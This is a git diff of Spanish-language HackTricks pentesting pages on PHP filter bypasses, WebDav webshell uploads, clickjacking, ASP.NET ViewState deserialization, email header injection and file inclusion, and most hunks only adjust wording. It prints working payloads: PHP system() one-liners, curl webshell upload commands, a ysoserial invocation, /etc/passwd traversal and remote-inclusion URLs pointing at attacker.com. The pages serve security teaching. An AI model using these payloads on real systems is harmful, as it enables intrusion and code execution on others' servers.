Sin embargo, al delimitar el inicio de la regexp, `preg_match()` **solo verifica la primera línea de la entrada del usuario**, por lo que si de alguna manera puedes **enviar** la entrada en **varias líneas**, podrías ser capaz de eludir esta verificación. Ejemplo:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
@ -98,7 +98,7 @@ Encuentra un ejemplo aquí: [https://ramadistra.dev/fbctf-2019-rceservice](https
|
||||
#### **Bypass de error de longitud**
|
||||
|
||||
(Este bypass se intentó aparentemente en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)\
|
||||
Si puedes enviar a `preg_match()` una **entrada muy grande** válida, **no podrá procesarla** y podrás **bypassear** la verificación. Por ejemplo, si está bloqueando un JSON, podrías enviar:
|
||||
Si puedes enviar a `preg_match()` una **entrada muy grande** válida, **no podrá procesarla** y podrás **eludir** la verificación. Por ejemplo, si está bloqueando un JSON, podrías enviar:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
@ -200,7 +200,7 @@ php-ssrf.md
|
||||
## Ejecución de código
|
||||
|
||||
**system("ls");**\
|
||||
&#xNAN;**\`ls\`;**\
|
||||
**\`ls\`;**\
|
||||
**shell_exec("ls");**
|
||||
|
||||
[Consulta esto para más funciones útiles de PHP](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
|
||||
@ -257,7 +257,7 @@ function foo($x,$y){
|
||||
usort();}phpinfo;#, "cmp");
|
||||
}?>
|
||||
```
|
||||
Puedes también usar **//** para comentar el resto del código.
|
||||
Puedes usar también **//** para comentar el resto del código.
|
||||
|
||||
Para descubrir el número de paréntesis que necesitas cerrar:
|
||||
|
||||
@ -275,7 +275,7 @@ Se pueden encontrar diferentes shells .htaccess [aquí](https://github.com/wireg
|
||||
|
||||
Si encuentras una vulnerabilidad que te permite **modificar variables de entorno en PHP** (y otra para subir archivos, aunque con más investigación tal vez esto se pueda eludir), podrías abusar de este comportamiento para obtener **RCE**.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso podría no funcionar).
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso puede que no funcione).
|
||||
- **`PHPRC`** : Instruye a PHP sobre **dónde localizar su archivo de configuración**, generalmente llamado `php.ini`. Si puedes subir tu propio archivo de configuración, entonces, usa `PHPRC` para apuntar a él. Agrega una entrada de **`auto_prepend_file`** especificando un segundo archivo subido. Este segundo archivo contiene código **PHP normal, que luego es ejecutado** por el runtime de PHP antes de cualquier otro código.
|
||||
1. Sube un archivo PHP que contenga nuestro shellcode
|
||||
2. Sube un segundo archivo, que contenga una directiva de **`auto_prepend_file`** instruyendo al preprocesador de PHP a ejecutar el archivo que subimos en el paso 1
|
||||
@ -309,10 +309,10 @@ phpinfo();
|
||||
?>
|
||||
|
||||
```
|
||||
## Bypass de sanitización de PHP & Brain Fuck
|
||||
## PHP Sanitization bypass & Brain Fuck
|
||||
|
||||
[**En esta publicación**](https://blog.redteam-pentesting.de/2024/moodle-rce/) es posible encontrar grandes ideas para generar un código PHP de brain fuck con muy pocos caracteres permitidos.\
|
||||
Además, también se propone una forma interesante de ejecutar funciones que les permitió eludir varias verificaciones:
|
||||
Además, también se propone una forma interesante de ejecutar funciones que les permitió eludir varias comprobaciones:
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
```
|
||||
@ -334,7 +334,7 @@ Puedes usar el **web**[ **www.unphp.net**](http://www.unphp.net) **para desofusc
|
||||
|
||||
Las envolturas y protocolos PHP podrían permitirte **eludir las protecciones de escritura y lectura** en un sistema y comprometerlo. Para [**más información consulta esta página**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## RCE no autenticado de Xdebug
|
||||
## RCE no autenticada de Xdebug
|
||||
|
||||
Si ves que **Xdebug** está **habilitado** en una salida de `phpconfig()`, deberías intentar obtener RCE a través de [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
|
||||
@ -350,7 +350,7 @@ echo "${Da}"; //Drums
|
||||
echo "$x ${$x}"; //Da Drums
|
||||
echo "$x ${Da}"; //Da Drums
|
||||
```
|
||||
## RCE abusando de $\_GET\["a"]\($\_GET\["b"])
|
||||
## RCE abusando de $\_GET\["a"]\($\_GET\["b")
|
||||
|
||||
Si en una página puedes **crear un nuevo objeto de una clase arbitraria** podrías obtener RCE, consulta la siguiente página para aprender cómo:
|
||||
|
||||
@ -382,7 +382,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
Entonces, si puedes **ejecutar PHP arbitrario sin números y letras** puedes enviar una solicitud como la siguiente abusando de esa carga útil para ejecutar PHP arbitrario:
|
||||
Entonces, si puedes **ejecutar PHP arbitrario sin números ni letras**, puedes enviar una solicitud como la siguiente abusando de esa carga útil para ejecutar PHP arbitrario:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Al tratar con un **servidor HTTP con WebDav** habilitado, es posible **manipular archivos** si tienes las **credenciales** correctas, generalmente verificadas a través de **HTTP Basic Authentication**. Obtener control sobre dicho servidor a menudo implica la **carga y ejecución de un webshell**.
|
||||
Al tratar con un **servidor HTTP con WebDav** habilitado, es posible **manipular archivos** si tienes las **credenciales** adecuadas, generalmente verificadas a través de **HTTP Basic Authentication**. Obtener control sobre dicho servidor a menudo implica la **carga y ejecución de un webshell**.
|
||||
|
||||
El acceso al servidor WebDav generalmente requiere **credenciales válidas**, siendo [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) un método común para adquirirlas.
|
||||
|
||||
@ -37,7 +37,7 @@ curl -T 'shell.txt' 'http://$ip'
|
||||
```bash
|
||||
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
|
||||
```
|
||||
## Vulnerabilidad de WebDav en IIS5/6
|
||||
## IIS5/6 WebDav Vulnerability
|
||||
|
||||
Esta vulnerabilidad es muy interesante. El **WebDav** **no permite** **subir** o **renombrar** archivos con la extensión **.asp**. Pero puedes **eludir** esto **agregando** al final del nombre **";.txt"** y el archivo será **ejecutado** como si fuera un archivo .asp (también podrías **usar ".html" en lugar de ".txt"** pero **NO olvides el ";"**).
|
||||
|
||||
@ -45,10 +45,10 @@ Luego puedes **subir** tu shell como un archivo ".**txt"** y **copiar/moverlo a
|
||||
|
||||
.png>)
|
||||
|
||||
## Credenciales posteriores
|
||||
## Post credentials
|
||||
|
||||
Si el Webdav estaba utilizando un servidor Apache, deberías mirar los sitios configurados en Apache. Comúnmente:\
|
||||
\&#xNAN;_**/etc/apache2/sites-enabled/000-default**_
|
||||
Si el Webdav estaba usando un servidor Apache, deberías mirar los sitios configurados en Apache. Comúnmente:\
|
||||
\_**/etc/apache2/sites-enabled/000-default**_
|
||||
|
||||
Dentro podrías encontrar algo como:
|
||||
```
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
En un ataque de clickjacking, un **usuario** es **engañado** para **hacer clic** en un **elemento** en una página web que es **invisible** o disfrazado como otro elemento. Esta manipulación puede llevar a consecuencias no deseadas para el usuario, como la descarga de malware, redirección a páginas web maliciosas, provisión de credenciales o información sensible, transferencias de dinero, o la compra en línea de productos.
|
||||
|
||||
### Truco de formularios precompletados
|
||||
### Truco de prellenado de formularios
|
||||
|
||||
A veces es posible **llenar el valor de los campos de un formulario usando parámetros GET al cargar una página**. Un atacante puede abusar de este comportamiento para llenar un formulario con datos arbitrarios y enviar la carga útil de clickjacking para que el usuario presione el botón Enviar.
|
||||
|
||||
@ -58,7 +58,7 @@ left:210px;
|
||||
<div class="secondClick">Click me next</div>
|
||||
<iframe src="https://vulnerable.net/account"></iframe>
|
||||
```
|
||||
### Drag\&Drop + Carga de clic
|
||||
### Drag\&Drop + Click payload
|
||||
```markup
|
||||
<html>
|
||||
<head>
|
||||
@ -91,10 +91,10 @@ background: #F00;
|
||||
|
||||
Si has identificado un **ataque XSS que requiere que un usuario haga clic** en algún elemento para **activar** el XSS y la página es **vulnerable a clickjacking**, podrías abusar de ello para engañar al usuario para que haga clic en el botón/enlace.\
|
||||
Ejemplo:\
|
||||
&#xNAN;_You encontró un **self XSS** en algunos detalles privados de la cuenta (detalles que **solo tú puedes establecer y leer**). La página con el **formulario** para establecer estos detalles es **vulnerable** a **Clickjacking** y puedes **prellenar** el **formulario** con los parámetros GET._\
|
||||
_You encontró un **self XSS** en algunos detalles privados de la cuenta (detalles que **solo tú puedes establecer y leer**). La página con el **formulario** para establecer estos detalles es **vulnerable** a **Clickjacking** y puedes **prellenar** el **formulario** con los parámetros GET._\
|
||||
\_\_Un atacante podría preparar un **ataque de Clickjacking** a esa página **prellenando** el **formulario** con la **carga útil de XSS** y **engañando** al **usuario** para que **envíe** el formulario. Así, **cuando se envíe el formulario** y los valores sean modificados, el **usuario ejecutará el XSS**.
|
||||
|
||||
## Estrategias para Mitigar el Clickjacking
|
||||
## Estrategias para Mitigar Clickjacking
|
||||
|
||||
### Defensas del Lado del Cliente
|
||||
|
||||
@ -108,14 +108,14 @@ Los scripts ejecutados en el lado del cliente pueden realizar acciones para prev
|
||||
Sin embargo, estos scripts de ruptura de marcos pueden ser eludidos:
|
||||
|
||||
- **Configuraciones de Seguridad de los Navegadores:** Algunos navegadores pueden bloquear estos scripts según sus configuraciones de seguridad o la falta de soporte para JavaScript.
|
||||
- **Atributo `sandbox` de iframe HTML5:** Un atacante puede neutralizar los scripts de ruptura de marcos configurando el atributo `sandbox` con valores `allow-forms` o `allow-scripts` sin `allow-top-navigation`. Esto impide que el iframe verifique si es la ventana superior, por ejemplo,
|
||||
- **Atributo `sandbox` de iframe HTML5:** Un atacante puede neutralizar los scripts de ruptura de marcos configurando el atributo `sandbox` con valores `allow-forms` o `allow-scripts` sin `allow-top-navigation`. Esto impide que el iframe verifique si es la ventana superior, e.g.,
|
||||
```html
|
||||
<iframe
|
||||
id="victim_website"
|
||||
src="https://victim-website.com"
|
||||
sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
Los valores `allow-forms` y `allow-scripts` habilitan acciones dentro del iframe mientras deshabilitan la navegación de nivel superior. Para asegurar la funcionalidad deseada del sitio objetivo, pueden ser necesarios permisos adicionales como `allow-same-origin` y `allow-modals`, dependiendo del tipo de ataque. Los mensajes de la consola del navegador pueden guiar sobre qué permisos permitir.
|
||||
Los valores `allow-forms` y `allow-scripts` permiten acciones dentro del iframe mientras deshabilitan la navegación de nivel superior. Para asegurar la funcionalidad deseada del sitio objetivo, pueden ser necesarios permisos adicionales como `allow-same-origin` y `allow-modals`, dependiendo del tipo de ataque. Los mensajes de la consola del navegador pueden guiar sobre qué permisos permitir.
|
||||
|
||||
### Defensas del lado del servidor
|
||||
|
||||
@ -136,7 +136,7 @@ La **directiva `frame-ancestors` en CSP** es el método recomendado para la prot
|
||||
- `frame-ancestors 'self'` - Similar a `X-Frame-Options: sameorigin`.
|
||||
- `frame-ancestors trusted.com` - Similar a `X-Frame-Options: allow-from`.
|
||||
|
||||
Por ejemplo, el siguiente CSP solo permite el enmarcado desde el mismo dominio:
|
||||
Por ejemplo, la siguiente CSP solo permite el enmarcado desde el mismo dominio:
|
||||
|
||||
`Content-Security-Policy: frame-ancestors 'self';`
|
||||
|
||||
@ -168,7 +168,7 @@ Esta política permite marcos y trabajadores del mismo origen (self) y https://t
|
||||
|
||||
- Deprecación: child-src está siendo eliminado a favor de frame-src y worker-src.
|
||||
- Comportamiento de Respaldo: Si frame-src está ausente, se utiliza child-src como respaldo para marcos. Si ambos están ausentes, se utiliza default-src.
|
||||
- Definición Estricta de Fuentes: Incluya solo fuentes confiables en las directivas para prevenir la explotación.
|
||||
- Definición Estricta de Fuentes: Incluya solo fuentes de confianza en las directivas para prevenir la explotación.
|
||||
|
||||
#### Scripts de JavaScript para Romper Marcos
|
||||
|
||||
@ -178,9 +178,9 @@ if (top !== self) {
|
||||
top.location = self.location
|
||||
}
|
||||
```
|
||||
#### Empleando Tokens Anti-CSRF
|
||||
#### Empleo de Tokens Anti-CSRF
|
||||
|
||||
- **Validación de Tokens:** Utilice tokens anti-CSRF en aplicaciones web para asegurar que las solicitudes que cambian el estado se realicen intencionalmente por el usuario y no a través de una página Clickjacked.
|
||||
- **Validación de Tokens:** Utilice tokens anti-CSRF en aplicaciones web para asegurar que las solicitudes que cambian el estado sean realizadas intencionalmente por el usuario y no a través de una página Clickjacked.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
## Qué es ViewState
|
||||
|
||||
**ViewState** sirve como el mecanismo predeterminado en ASP.NET para mantener los datos de la página y del control a través de las páginas web. Durante el renderizado del HTML de una página, el estado actual de la página y los valores que se deben preservar durante un postback se serializan en cadenas codificadas en base64. Estas cadenas se colocan luego en campos ocultos de ViewState.
|
||||
**ViewState** sirve como el mecanismo predeterminado en ASP.NET para mantener los datos de página y control a través de páginas web. Durante el renderizado del HTML de una página, el estado actual de la página y los valores que se deben preservar durante un postback se serializan en cadenas codificadas en base64. Estas cadenas se colocan en campos ocultos de ViewState.
|
||||
|
||||
La información de ViewState se puede caracterizar por las siguientes propiedades o sus combinaciones:
|
||||
|
||||
@ -21,7 +21,7 @@ La información de ViewState se puede caracterizar por las siguientes propiedade
|
||||
|
||||
La imagen es una tabla que detalla diferentes configuraciones para ViewState en ASP.NET según la versión del marco .NET. Aquí hay un resumen del contenido:
|
||||
|
||||
1. Para **cualquier versión de .NET**, cuando tanto MAC como la Encriptación están deshabilitados, no se requiere un MachineKey, y por lo tanto no hay un método aplicable para identificarlo.
|
||||
1. Para **cualquier versión de .NET**, cuando tanto MAC como Encriptación están deshabilitados, no se requiere un MachineKey, y por lo tanto no hay un método aplicable para identificarlo.
|
||||
2. Para **versiones anteriores a 4.5**, si MAC está habilitado pero la Encriptación no, se requiere un MachineKey. El método para identificar el MachineKey se denomina "Blacklist3r."
|
||||
3. Para **versiones anteriores a 4.5**, independientemente de si MAC está habilitado o deshabilitado, si la Encriptación está habilitada, se necesita un MachineKey. Identificar el MachineKey es una tarea para "Blacklist3r - Desarrollo Futuro."
|
||||
4. Para **versiones 4.5 y superiores**, todas las combinaciones de MAC y Encriptación (ya sea que ambos sean true, o uno sea true y el otro false) requieren un MachineKey. El MachineKey se puede identificar utilizando "Blacklist3r."
|
||||
@ -40,11 +40,11 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
```
|
||||
### Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server
|
||||
|
||||
Los desarrolladores pueden **eliminar ViewState** para que no forme parte de una solicitud HTTP (el usuario no recibirá esta cookie).\
|
||||
Se puede suponer que si **ViewState** **no está presente**, su implementación es **segura** de cualquier vulnerabilidad potencial que surja con la deserialización de ViewState.\
|
||||
Los desarrolladores pueden **eliminar ViewState** de convertirse en parte de una solicitud HTTP (el usuario no recibirá esta cookie).\
|
||||
Se puede asumir que si **ViewState** **no está presente**, su implementación es **segura** de cualquier vulnerabilidad potencial que surja con la deserialización de ViewState.\
|
||||
Sin embargo, ese no es el caso. Si **agregamos el parámetro ViewState** al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada con ysoserial, aún podremos lograr **ejecución de código** como se muestra en **Caso 1**.
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
Para **habilitar ViewState MAC** para una **página específica**, necesitamos hacer los siguientes cambios en un archivo aspx específico:
|
||||
```bash
|
||||
@ -72,7 +72,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
||||
```
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que, a diferencia de Blacklist3r, no tiene dependencia de Windows. Para los viewstates de .NET, hay una utilidad "python blacklist3r", que es la forma más rápida de usarla.
|
||||
|
||||
Se puede proporcionar directamente con el viewstate y el generador:
|
||||
Se puede suministrar con el viewstate y el generador directamente:
|
||||
```
|
||||
pip install badsecrets
|
||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||
@ -114,7 +114,7 @@ En este caso, no se sabe si el parámetro está protegido con MAC. Entonces, el
|
||||
|
||||
**Antes de .NET 4.5**, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **sin cifrar** de los usuarios **incluso** si **`ViewStateEncryptionMode`** se ha configurado en _**Siempre**_. ASP.NET **solo verifica** la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil sin cifrar, aún será procesada.**
|
||||
|
||||
Por lo tanto, si los atacantes encuentran una manera de obtener la clave de máquina a través de otra vulnerabilidad como la exploración de archivos, el comando de [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizado en el **Caso 2**, se puede usar para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.
|
||||
Por lo tanto, si los atacantes encuentran una manera de obtener la clave de máquina a través de otra vulnerabilidad como la exploración de archivos, el comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizado en el **Caso 2**, se puede usar para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.
|
||||
|
||||
- Elimina el parámetro `__VIEWSTATEENCRYPTED` de la solicitud para explotar la vulnerabilidad de deserialización de ViewState, de lo contrario, devolverá un error de validación de MAC de ViewState y la explotación fallará.
|
||||
|
||||
@ -155,7 +155,7 @@ Si tienes el valor de `__VIEWSTATEGENERATOR`, puedes intentar **usar** el parám
|
||||
|
||||
|
||||
|
||||
Una explotación exitosa de la vulnerabilidad de deserialización de ViewState llevará a una solicitud fuera de banda a un servidor controlado por el atacante, que incluye el nombre de usuario. Este tipo de exploit se demuestra en una prueba de concepto (PoC) que se puede encontrar a través de un recurso titulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para más detalles sobre cómo funciona el proceso de explotación y cómo utilizar herramientas como Blacklist3r para identificar el MachineKey, puedes revisar el [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) proporcionado.
|
||||
Una explotación exitosa de la vulnerabilidad de deserialización de ViewState llevará a una solicitud fuera de banda a un servidor controlado por el atacante, que incluye el nombre de usuario. Este tipo de exploit se demuestra en un proof of concept (PoC) que se puede encontrar a través de un recurso titulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para más detalles sobre cómo funciona el proceso de explotación y cómo utilizar herramientas como Blacklist3r para identificar el MachineKey, puedes revisar el [PoC de Explotación Exitosa](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||||
|
||||
### Caso de Prueba 6 – ViewStateUserKeys está siendo utilizado
|
||||
|
||||
@ -173,10 +173,8 @@ Verifique [más información aquí](<https://github.com/carlospolop/hacktricks/b
|
||||
## Referencias
|
||||
|
||||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
|
||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Inyecciones de Correo Electrónico
|
||||
# Inyecciones de Email
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -24,7 +24,7 @@ El asunto falso se añadirá al asunto original y en algunos casos lo reemplazar
|
||||
|
||||
### Cambiar el cuerpo del mensaje
|
||||
|
||||
Inyecta un salto de línea de dos líneas, luego escribe tu mensaje para cambiar el cuerpo del mensaje.
|
||||
Inyecta un salto de línea doble, luego escribe tu mensaje para cambiar el cuerpo del mensaje.
|
||||
```
|
||||
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
|
||||
```
|
||||
@ -54,7 +54,7 @@ Un atacante puede **inyectar parámetros adicionales para sendmail** en este cas
|
||||
|
||||
#### Diferencias en la implementación de /usr/sbin/sendmail
|
||||
|
||||
La interfaz de **sendmail** es **proporcionada por el software de correo MTA** (Sendmail, Postfix, Exim, etc.) instalado en el sistema. Aunque la **funcionalidad básica** (como los parámetros -t -i -f) permanece **igual** por razones de compatibilidad, **otras funciones y parámetros** varían considerablemente dependiendo del MTA instalado.
|
||||
La interfaz de **sendmail** es **proporcionada por el software MTA de correo electrónico** (Sendmail, Postfix, Exim, etc.) instalado en el sistema. Aunque la **funcionalidad básica** (como los parámetros -t -i -f) permanece **igual** por razones de compatibilidad, **otras funciones y parámetros** varían considerablemente dependiendo del MTA instalado.
|
||||
|
||||
Aquí hay algunos ejemplos de diferentes páginas de manual del comando/interfaz sendmail:
|
||||
|
||||
@ -62,7 +62,7 @@ Aquí hay algunos ejemplos de diferentes páginas de manual del comando/interfaz
|
||||
- Postfix MTA: http://www.postfix.org/mailq.1.html
|
||||
- Exim MTA: https://linux.die.net/man/8/eximReferences
|
||||
|
||||
Dependiendo del **origen del binario sendmail**, se han descubierto diferentes opciones para abusar de ellos y **filtrar archivos o incluso ejecutar comandos arbitrarios**. Consulta cómo en [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||||
Dependiendo del **origen del binario sendmail**, se han descubierto diferentes opciones para abusar de ellos y **filtrar archivos o incluso ejecutar comandos arbitrarios**. Ver cómo en [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||||
|
||||
## Inyección en el nombre del correo electrónico
|
||||
|
||||
@ -83,7 +83,7 @@ Los símbolos: **+, -** y **{}** en raras ocasiones pueden ser utilizados para e
|
||||
|
||||
<figure><img src="../images/image (812).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||||
|
||||
### Citas
|
||||
### Comillas
|
||||
|
||||
<figure><img src="../images/image (626).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||||
|
||||
@ -94,9 +94,9 @@ También puedes usar IPs como nombres de dominio entre corchetes:
|
||||
- john.doe@\[127.0.0.1]
|
||||
- john.doe@\[IPv6:2001:db8::1]
|
||||
|
||||
### Codificación de correos electrónicos
|
||||
### Codificación de correo electrónico
|
||||
|
||||
Como se explicó en [**esta investigación**](https://portswigger.net/research/splitting-the-email-atom), los nombres de correo electrónico también pueden contener caracteres codificados:
|
||||
Como se explica en [**esta investigación**](https://portswigger.net/research/splitting-the-email-atom), los nombres de correo electrónico también pueden contener caracteres codificados:
|
||||
|
||||
- **Desbordamiento de PHP 256**: La función `chr` de PHP seguirá sumando 256 a un carácter hasta que se vuelva positivo y luego realizará la operación `%256`.
|
||||
- `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
|
||||
@ -145,7 +145,7 @@ Payloads:
|
||||
- Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
|
||||
- Nota el uso del guion bajo como un espacio para separar la dirección
|
||||
- Enviará el correo de verificación a `collab@psres.net`
|
||||
- Punycode: Usando Punycode fue posible inyectar una etiqueta `<style` en Joomla y abusar de ella para robar el token CSRF a través de la exfiltración de CSS.
|
||||
- Punycode: Usando Punycode fue posible inyectar una etiqueta `<style` en Joomla y abusar de ella para robar el token CSRF a través de la exfiltración CSS.
|
||||
|
||||
#### Tooling
|
||||
|
||||
@ -165,7 +165,7 @@ Algunos servicios como **github** o **salesforce permiten** crear una **direcci
|
||||
### Account-Takeover
|
||||
|
||||
Si un **servicio SSO** te permite **crear una cuenta sin verificar la dirección de correo electrónico dada** (como **salesforce**) y luego puedes usar esa cuenta para **iniciar sesión en un servicio diferente** que **confía** en salesforce, podrías acceder a cualquier cuenta.\
|
||||
&#xNAN;_Note que salesforce indica si el correo dado fue o no verificado, pero la aplicación debería tener en cuenta esta información._
|
||||
_Note que salesforce indica si el correo dado fue o no verificado, pero la aplicación también debería tener en cuenta esta información._
|
||||
|
||||
## Reply-To
|
||||
|
||||
@ -173,9 +173,9 @@ Puedes enviar un correo usando _**From: company.com**_ y _**Replay-To: attacker.
|
||||
|
||||
## Hard Bounce Rate
|
||||
|
||||
Ciertos servicios, como AWS, implementan un umbral conocido como la **Tasa de Rebote Duro**, típicamente establecido en un 10%. Esta es una métrica crítica, especialmente para los servicios de entrega de correos electrónicos. Cuando se supera esta tasa, el servicio, como el servicio de correo de AWS, puede ser suspendido o bloqueado.
|
||||
Ciertos servicios, como AWS, implementan un umbral conocido como la **Tasa de Rebote Duro**, típicamente establecido en 10%. Esta es una métrica crítica, especialmente para servicios de entrega de correo electrónico. Cuando se supera esta tasa, el servicio, como el servicio de correo de AWS, puede ser suspendido o bloqueado.
|
||||
|
||||
Un **rebote duro** se refiere a un **correo electrónico** que ha sido devuelto al remitente porque la dirección del destinatario es inválida o no existe. Esto podría ocurrir por varias razones, como que el **correo** se envíe a una dirección inexistente, un dominio que no es real, o la negativa del servidor del destinatario a aceptar **correos**.
|
||||
Un **rebote duro** se refiere a un **correo electrónico** que ha sido devuelto al remitente porque la dirección del destinatario es inválida o no existe. Esto podría ocurrir por varias razones, como que el **correo** se envíe a una dirección no existente, un dominio que no es real, o la negativa del servidor del destinatario a aceptar **correos**.
|
||||
|
||||
En el contexto de AWS, si envías 1000 correos y 100 de ellos resultan en rebotes duros (debido a razones como direcciones o dominios inválidos), esto significaría una tasa de rebote duro del 10%. Alcanzar o superar esta tasa puede hacer que AWS SES (Simple Email Service) bloquee o suspenda tus capacidades de envío de correos electrónicos.
|
||||
|
||||
|
||||
@ -90,13 +90,13 @@ El sistema de archivos de un servidor se puede explorar recursivamente para iden
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Sondear carpetas:** Agregue el nombre de la carpeta sospechosa (por ejemplo, `private`) a la URL, luego navegue de regreso a `/etc/passwd`. El nivel de directorio adicional requiere incrementar la profundidad en uno:
|
||||
2. **Sonde para Carpetas:** Agrega el nombre de la carpeta sospechosa (por ejemplo, `private`) a la URL, luego navega de regreso a `/etc/passwd`. El nivel de directorio adicional requiere incrementar la profundidad en uno:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Interpretar los Resultados:** La respuesta del servidor indica si la carpeta existe:
|
||||
- **Error / Sin Salida:** La carpeta `private` probablemente no existe en la ubicación especificada.
|
||||
- **Contenido de `/etc/passwd`:** Se confirma la presencia de la carpeta `private`.
|
||||
- **Contenido de `/etc/passwd`:** La presencia de la carpeta `private` está confirmada.
|
||||
4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Inclusión de Archivos Locales (LFI).
|
||||
|
||||
Para explorar directorios en diferentes ubicaciones del sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
|
||||
@ -143,7 +143,7 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Inclusión Remota de Archivos
|
||||
|
||||
En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Desactivado.** Debe estar **Activado** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
|
||||
En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Apagado.** Debe estar **Encendido** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
@ -209,7 +209,7 @@ Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerabl
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
